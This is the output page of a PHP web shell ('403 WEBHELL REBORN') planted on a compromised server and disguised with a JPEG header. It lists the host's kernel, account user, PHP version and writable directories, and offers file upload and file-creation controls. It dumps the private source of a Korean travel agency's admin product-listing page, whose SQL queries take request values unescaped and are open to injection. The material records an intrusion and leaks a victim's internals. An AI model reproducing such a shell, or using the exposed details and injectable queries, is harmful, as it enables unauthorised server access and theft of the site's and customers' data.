ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/toadmin/good_yeonsung/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/toadmin/good_yeonsung/index.html
<?php
    include "../include/top_yeonsung.html";
    include "_common.php";

    // 테이블명
    $table = " good_yeonsung ";

// 검색 설정
$sql_where = " ";
if ($tab) $sql_where			.= " and tab='{$tab}' "; // 상품구분
if ($search_key_s and $search_word_s) {
	if($search_key_s=='srh_d_code') {
		$sql_where .= " and (srh_d_code like '%".$search_word_s."%' OR tour_code like '%".$search_word_s."%') ";// 검색어(상품명,행사명,행사코드,담당자명)
	} else {
		$sql_where .= " and {$search_key_s} like '%".$search_word_s."%' ";// 검색어(상품명,행사명,행사코드,담당자명)
	}
}
if ( $date_s1 and $date_s2) $sql_where .= " and (DATE_FORMAT({$date_key},'%Y-%m-%d') >= '{$date_s1}' and DATE_FORMAT({$date_key},'%Y-%m-%d') <= '{$date_s2}' )";// 기간검색(등록일,수정일)
if ($b_uid_s) $sql_where	.= " and b_uid='{$b_uid_s}' "; // 1차 카테고리
if ($m_uid_s) $sql_where	.= " and m_uid='{$m_uid_s}' "; // 2차 카테고리
if ($s_uid_s) $sql_where	.= " and s_uid='{$s_uid_s}' "; // 3차 카테고리
if ($Bidx_s) $sql_where		.= " and Bidx='{$Bidx_s}' "; // 국가
if ($Cidx_s) $sql_where		.= " and Cidx='{$Cidx_s}' "; // 도시
if ($gmain_s) $sql_where	.= " and {$gmain_s}='1' "; // 추천
if ($gdt_s) $sql_where		.= " and gdt='{$gdt_s}' "; // 데이투어 구분

if ($b_uid_list) {
	$sql_where .= " and b_uid in('".implode("','", $b_uid_list)."') ";
}

// 전체개수
//echo "select count(*) as gtot from {$table}  where b_uid='{$b_uid_s}' and m_uid='{$m_uid_s}'  ";
//exit;


$data = array();

$memberSeq = $_SESSION['seq'];
if($_SESSION['level'] == 'normal'){
	$sql_where .= " AND MEMBER_SEQ = {$memberSeq}";
}

$data = good_list_yeonsung($sql_where,$sql_order,$olds,$line);

$tot_r = db_fetch("select count(*) as gtot from {$table}");
$res_gtot = $tot_r['gtot'];
$total = $tot_r['gtot'];

if($title == '') $title = "<i class='xi-document' style='font-size: 21px;position: relative;top: 2px;'></i><strong>상품등록 & 리스트</strong>";

$kind_code_arr = array(
    'today' => '당일투어',
    'stay' => '숙박패키지',
    'guide' => '가이드투어',
    'overseas' => '해외여행',
);



if(!$list_count_s) $list_count_s = 30;

// 페이지수 설정
if (!$page) $page = 1; // 페이지 번호
$line = $list_count_s; // 보여줄 갯수
$list = 10; // 블럭 갯수
$total_page = ceil($total / $line); // 총페이지
if ($total == 0) $total_page = 1; // 데이터가 하나도 없으면 총페이지 1
if ($page > $total_page) $page = $total_page; // 페이지가 전체 페이지보다 크면 페이지 번호를 바꿈
$total_list = intval($total_page / $list);
if ($total_page % $list == 0) $total_list--;
$curr_list = intval($page / $list);
if ($page % $list == 0) $curr_list--;
$start_page = $curr_list * $list + 1;
$prev_list = $start_page - $list;
$next_list = $start_page + $list;
$olds = $line * ($page - 1);


function getMemberYeonsungID($memberSeq){
	$sql = "SELECT * FROM TB_MEMBER_YEONSUNG WHERE seq = {$memberSeq} ";
	$rs = db_fetch($sql);
	return $rs['mb_id'];

}

?>
<style>
    .T_list th{font-size:12px}
    .t_hotel_name{text-align:center}
    .T_list td{padding:13px 3px !important;}
</style>
<div class="contents_wrap">
    <div class="contents_wrap_in">
        <div class="title"><?=$title?></div>
        <div class="contents_detail">
            <!-- 본문 -->
			<?
			// 검색폼
			require_once("good_list_search_yeonsung.php");
			?>

            <div id="Content_box">
                <script>
                    $(function(){
                        $('.chgSiteCategory ').click(function(){
                            if($(this).attr('val') == 'en'){
                                $('select[name="lang"]').val();
                            }else{
                                $('select[name="lang"]').val($(this).attr('val'));
                            }

                            $('select[name="lang"]').val($(this).attr('val'));
                            document.frm_search.submit();
                            return false;
                        });
                    });
                </script>
                <!-- 폼 -->
                <form name="frm_list" id="frm_list" method="post" style="margin-top:40px">
                    <input type="hidden" name="SqlType" value="g_ok_updt" />

                    <div class="c_top_sch_wrap">

                        <!-- 상품정렬 -->
                        <ul class="c_top_sch_r">
                            <li>

                                <a href="javascript:;" style="padding: 6px 25px 4px;font-weight: 600;" class="Tbtn red"  onclick="javascript:document.location.href='good_write.html';">상품등록</a>

                            </li>
                            <li class="ml10">
                                <select name="order_by_s" id="order_by_s">
                                    <option value="g_regdate desc" <?=($order_by_s=="g_regdate desc")?"selected":""?>>등록일 ↑</option>
                                    <option value="g_regdate" <?=($order_by_s=="g_regdate")?"selected":""?>>등록일 ↓</option>
                                    <option value="g_moddate desc" <?=($order_by_s=="g_moddate desc")?"selected":""?>>수정일 ↑</option>
                                    <option value="g_moddate" <?=($order_by_s=="g_moddate")?"selected":""?>>수정일 ↓</option>
                                    <option value="g_ok desc" <?=($order_by_s=="g_ok desc")?"selected":""?>>노출순서 ↑</option>
                                    <option value="g_no" <?=($order_by_s=="g_no")?"selected":""?>>노출순서 ↓</option>
                                </select>
                            </li>
                            <li>
                                <select name="list_count_s" id="list_count_s" >
                                    <option value="20" <?=($list_count_s==20)?"selected":""?>>20개 보기</option>
                                    <option value="30" <?=($list_count_s==30)?"selected":""?>>30개 보기</option>
                                    <option value="50" <?=($list_count_s==50)?"selected":""?>>50개 보기</option>
                                    <option value="70" <?=($list_count_s==70)?"selected":""?>>70개 보기</option>
                                </select>
                            </li>
                        </ul><!-- 상품등록 -->
                    </div>
                    <table width="100%" border="0" cellspacing="0" cellpadding="0" class="T_list" >
                        <thead>
                        <tr>
                            <th width="20">
                                <label for="checkall" class="v_none2">선택 체크</label><input type="checkbox" name="checkall" id="checkall" /></th>
                            <th style="display:none" width="20">복사</th>
                            <th width="80">등록일/수정일</th>
                            <th width="80">투어코드</th>
                            <th width="80">상품종류</th>
                            <th width="400">상품명</th>
                            <th width="100">대표이미지</th>
                            <th width="100">서브이미지1</th>
                            <th width="100">서브이미지2</th>
                            <th width="100">서브이미지3</th>
                            <th width="80">PDF출력</th>
                            <th width="80">삭제/과제제출</th>
                        </tr>
                        </thead>
                        <tbody>
						<?php

						$noData = false;

						for($i=0 ; $i < count($data) ; $i++){
							$noData = true;
							$memberID = getMemberYeonsungID($data[$i]['MEMBER_SEQ']);

                            /*if(devCookie()){
								p($memberID);
                            }*/




							$row = good_list_replace($data[$i]);

//                            p($row);
//                            exit;
							$num = $total - ($page - 1) * $line - $i;

							// 개수 초기화 & 이미지 필터
							$filter = "style='filter:alpha(opacity=20);opacity:0.2;'";
							$span_gray = "<span style='comment_gray'>(0)</span>";

							// 출발일정 아이콘
							if ( $row['date_cnt'] > 0 ) {
								$date_cnt_arr['_cnt'] =  str_replace("0",$row['date_cnt'],str_replace("_grap","",$span_gray));
								$date_cnt_arr['_filter'] = "";
							}else{
								$date_cnt_arr['_cnt'] = $span_gray;
								$date_cnt_arr['_filter'] = $filter;
							}

							// 옵션
							if ( $row['option_cnt'] > 0 ) {
								$option_cnt_arr['_cnt'] = str_replace("0",$row['option_cnt'],str_replace("_grap","",$span_gray));
								$option_cnt_arr['_filter'] = "on";
							}else{
								$option_cnt_arr['_cnt'] =  $span_gray;
								$option_cnt_arr['_filter'] = $filter;
							}

							// 일정표 아이콘
							if ( $row['schedule_cnt'] > 0 ) {
								$schedule_cnt_arr['_cnt'] = str_replace("0",$row['schedule_cnt'],str_replace("_grap","",$span_gray));
								$schedule_cnt_arr['_filter'] = "on";
							}else{
								$schedule_cnt_arr['_cnt'] = $span_gray;
								$schedule_cnt_arr['_filter'] = "gray";
							}

							// 여행정보 아이콘
							if ( $row['tourinfo_cnt'] > 0 ) {
								$tourinfo_cnt_arr['_cnt'] = str_replace("0",$row['tourinfo_cnt'],str_replace("_grap","",$span_gray));
								$tourinfo_cnt_arr['_filter'] = "on";
							}else{
								$tourinfo_cnt_arr['_cnt'] = $span_gray;
								$tourinfo_cnt_arr['_filter'] = "gray";
							}

							// 호텔정보 아이콘
							if ( $row['hotel_cnt'] > 0 ) {
								$hotel_cnt_arr['_cnt'] = str_replace("0",$row['hotel_cnt'],str_replace("_grap","",$span_gray));
								$hotel_cnt_arr['_filter'] = "on";
							}else{
								$hotel_cnt_arr['_cnt'] = $span_gray;
								$hotel_cnt_arr['_filter'] = "gray";
							}

							// 갤러리정보 아이콘
							if ( $row['gallery_cnt'] > 0 ) {
								$gallery_cnt_arr['_cnt'] = str_replace("0",$row['gallery_cnt'],str_replace("_grap","",$span_gray));
								$gallery_cnt_arr['_filter'] = "on";
							}else{
								$gallery_cnt_arr['_cnt'] =  $span_gray;
								$gallery_cnt_arr['_filter'] = "gray";
							}

							// 출발지
							if ( $row['depot_cnt']  ) {
								$depot_cnt_arr['_cnt'] = str_replace("0",$row['depot_cnt'],str_replace("_grap","",$span_gray));
								$depot_cnt_arr['_filter'] = "on";
							}else{
								$depot_cnt_arr['_cnt'] =  $span_gray;
								$depot_cnt_arr['_filter'] = "gray";
							}

							// 지도
							if ( $row['map_x'] > 0 ) {
								$map_cnt_arr['_cnt'] = str_replace("0","1",str_replace("_grap","",$span_gray));
								$map_cnt_arr['_filter'] = "on";
							}else{
								$map_cnt_arr['_cnt'] =  $span_gray;
								$map_cnt_arr['_filter'] = "gray";
							}
							?>
                            <tr>
                                <td><input type="checkbox" name="guid_arr[]" class="item_checkbox" value="<?=$row['g_uid']?>" /></td>

                                <td style="display: none">
                                    <img src="../image/icon/btn_copy.gif" id="btn_menu_<?=$num?>" onclick="<?if(!$tab){?>alert('좌측카테고리를 먼저 선택하세요.');return;<?}?>choose_menu('<?=$num?>','<?=$row['g_uid']?>')" title="상품복사" style="cursor:pointer;"/>
                                </td>

                                <td><?=$row['g_regdate3']?><br><?=$row['g_moddate3']?></td><!-- 등록일/수정일 -->

                                <td>
									<?=$row['tour_code']?>
									<? if($row['api_icon']) { ?>
                                        <br><br><?=$row['api_icon']?>
									<? } ?>
                                </td>
                                <td><?=$kind_code_arr[$row['kind_code']]?></td>
                                <td class="t_hotel_name">
                                    <a href="good_edit_yeonsung.html?g_uid=<?=$row['g_uid']?>"><?=$row['g_title']?></a><!-- 상품명 -->
                                </td>
                                <td>
                                    <img src="<?=$row['img_src_thum']?>" onerror="this.src='http://www.tourboss.co.kr/image/product/noimage_tourboss.jpg'" alt="상품이미지" width="88" height="57" style="cursor:pointer;" onClick="to_dialog.image('<?=$row['img_src']?>')"  />
                                </td><!-- 이미지 -->
                                <td>
                                    <img src="<?=$row['img_srcs1_thum']?>" onerror="this.src='http://www.tourboss.co.kr/image/product/noimage_tourboss.jpg'" alt="상품이미지" width="88" height="57" style="cursor:pointer;" onClick="to_dialog.image('<?=$row['img_srcs1']?>')"  />
                                </td><!-- 이미지 -->
                                <td>
                                    <img src="<?=$row['img_srcs2_thum']?>" onerror="this.src='http://www.tourboss.co.kr/image/product/noimage_tourboss.jpg'"  alt="상품이미지" width="88" height="57" style="cursor:pointer;" onClick="to_dialog.image('<?=$row['img_srcs2']?>')"  />
                                </td><!-- 이미지 -->
                                <td>
                                    <img src="<?=$row['img_srcs3_thum']?>" onerror="this.src='http://www.tourboss.co.kr/image/product/noimage_tourboss.jpg'"  alt="상품이미지" width="88" height="57" style="cursor:pointer;" onClick="to_dialog.image('<?=$row['img_srcs3']?>')"  />
                                </td><!-- 이미지 -->

                                <td>
                                    <input class="Table_btn gray" style="display:none;padding:0 10px" onclick="if(!confirm('정말삭제하시겠습니까?'))return;ajax_loader('good_proc_yeonsung.php?SqlType=delete_good&g_uid=<?=$row['g_uid']?>');" type="button" value="PDF 다운"/>

                                    <a href="../TCPDF/erp/pdf_good_yeonsung.php?g_uid=<?=$row['g_uid']?>&memberID=<?=$memberID?>" target="_blank">
                                        <span style="padding:6px 11px 4px" class="Table_btn gray">PDF 다운</span>
                                    </a>


                                </td>
                                <td>
                                    <input class="Table_btn red" onclick="if(!confirm('정말삭제하시겠습니까?'))return;ajax_loader('good_proc_yeonsung.php?SqlType=delete_good&g_uid=<?=$row['g_uid']?>');" type="button" value="삭제"/>
                                <?php
                                    if($row['send_status'] == 'N'){
                                ?>
                                    <input class="Table_btn blue" onclick="if(!confirm('정말제출하시겠습니까?'))return;ajax_loader('good_proc_yeonsung.php?SqlType=send_good&g_uid=<?=$row['g_uid']?>');" type="button" value="제출"/>
                                <?php
                                    }else{
                                ?>
                                    <input class="Table_btn gray" type="button" value="완료"/>
                                <?php
                                    }
                                ?>
                                </td>
                            </tr>
						<?}

						if(!$noData){
                        ?>
                            <tr>
                                <td colspan="11">데이터가 없습니다.</td>
                            </tr>
                        <?php
                        }
                        ?>
                        </tbody>
                    </table>
                </form>
                <!-- /폼 -->
                <!-- /본문 -->
            </div>
            <?php
//                echo $total_page;
//                echo '<br>';
//			    echo $page;
//			    echo '<br>';
//			    echo $list;
//			    echo '<br>';

            ?>
			<?=adm_get_paging($total_page, $page, $list, "?$href&page=", "")?>
        </div>
    </div>
</div>

<div style="display:none;width:150px;z-index:9999;" id="menu_box" >
	<?
	// 1차 카테고리
	$arr_1 = TO_get_bc("","N"," and DelFlag='N' and tab='{$tab}'  ");
	// 1차 카테고리
	//if (count($arr_1)>0) echo "<ul>";
	for($j=0 ; $j<count($arr_1) ; $j++)
	{
		$arr1 = $arr_1[$j];
		?>
        <li><a href="javascript:;" onclick="good_copy('<?=$arr1['b_uid']?>','','');"><?=$arr1['b_name']?>(<?=$arr1['b_uid']?>)</a>
		<?
		// 2차 카테고리
		$arr_2 = TO_get_mc($arr1['b_uid'],"","N");
		if (count($arr_2)>0) echo "<ul>";
		for($k=0 ; $k<count($arr_2) ; $k++)
		{
			$arr2 = $arr_2[$k];
			?>
            <li><a href="javascript:;" onclick="good_copy('<?=$arr1['b_uid']?>','<?=$arr2['m_uid']?>','');"><?=$arr2['m_name']?>(<?=$arr2['m_uid']?>)</a>
			<?
			// 3차 카테고리
			$arr_3 = TO_get_sc($arr1['b_uid'],$arr2['m_uid'],"","N");
			if (count($arr_3)>0) echo "<ul>";
			for($n=0 ; $n<count($arr_3) ; $n++)
			{
				$arr3 = $arr_3[$n];
				?>
                <li><a href="javascript:;" onclick="good_copy('<?=$arr1['b_uid']?>','<?=$arr2['m_uid']?>','<?=$arr3['s_uid']?>');"><?=$arr3['s_name']?>(<?=$arr3['s_uid']?>)</a></li>
				<?
			}
			if (count($arr_3)>0) echo "</ul>";
			?>
            </li>
			<?
		}
		if (count($arr_2)>0) echo "</ul>";
		?>
        </li>
		<?
	}
	//if (count($arr_1)>0) echo "</ul>";
	?>
    </li>

</div>

<script Language="Javascript">
    var g_uid;

    // 상품카피
    function good_copy(b_uid,m_uid,s_uid)
    {
        var params = "tab=<?=$tab?>&b_uid="+b_uid+"&m_uid="+m_uid+"&s_uid="+s_uid+"&g_uid="+g_uid;

        if(!m_uid) return;

        if (!confirm('해당카테고리에 여행상품을 복사 하시겠습니까?\n기본정보, 지도정보, 여행정보만 복사됩니다.')) return;

        ajax_post("","good_proc_yeonsung.php?SqlType=good_copy&"+params);
    }

    // 상품카피 메뉴
    function choose_menu(num,gid)
    {
        var obj = $("#menu_box");
        var e = ($("#btn_menu_"+num).offset());

        obj.css({"left":e.left-parseInt(10)+"px","top":e.top});

        g_uid = gid;

        $("#menu_box").fadeToggle("fast","linear");
    }

    //순서조정
    function change_ordernum()
    {
        var f = document.frm_list;

        if(!confirm('순서를 변경하시겠습니까?')) return;

        f.SqlType.value='change_ordernum';

        ajax_post('ajax_proc','good_proc_yeonsung.php','frm_list');
    }

    // 추천관리
    function check_gmain(seq,g_main,yn_str)
    {
        var yn_str = "N";

        if ( $("#gmain_"+seq).is(":checked") == true ) yn_str = "Y";

        ajax_loader('sights_register_proc.php?SqlType=chuchun&seq='+seq+'&g_main='+g_main+'&yn_str='+yn_str);
    }

    $(document).ready(function(){
        $("#menu_box").menu();

        $("#order_by_s").on("change",function(){
            var order_by_s = $("#order_by_s").val();
            var list_count_s = $("#list_count_s").val();

            window.document.location.href='<?=$PHP_SELF?>?<?=$href?>&order_by_s='+order_by_s+'&list_count_s='+list_count_s;
        });

        $("#list_count_s").on("change",function(){
            var order_by_s = $("#order_by_s").val();
            var list_count_s = $("#list_count_s").val();

            window.document.location.href='<?=$PHP_SELF?>?<?=$href?>&order_by_s='+order_by_s+'&list_count_s='+list_count_s;
        });

        $("#menu_box").mouseleave(function(event){
            $("#menu_box").hide();
            g_uid='';
        });

        $("#checkall").on("click",function(){
            $(".item_checkbox").prop("checked",$(this).prop("checked"));
        });

        $(".item_chg_order_state").on("click",function(){
            if($(".item_checkbox:checked").length==0){
                alert('적어도 한개 항목을 선택해 주세요.');
                return;
            }

            if(!confirm('사용상태를 변경하시겠습니까?')) return;
            ajax_post("ajax_proc","good_proc_yeonsung.php","frm_list");
        });

        ajax_loader('../good/good_edit_cityarea_ajax.html?mode=city_search&Bidx=<?=$Bidx_s?>&Cidx=<?=$Cidx_s?>','ajax_city');
    });
</script>
<?
include "../include/footer_yeonsung.html";
?>
<style type="text/css">
    #menu_box {position:absolute;padding:5px 5px 5px;border:1px solid #A398EB;background-color:#ffffff;}
    #menu_box ul{width:150px;}
</style>

Anon7 - 2021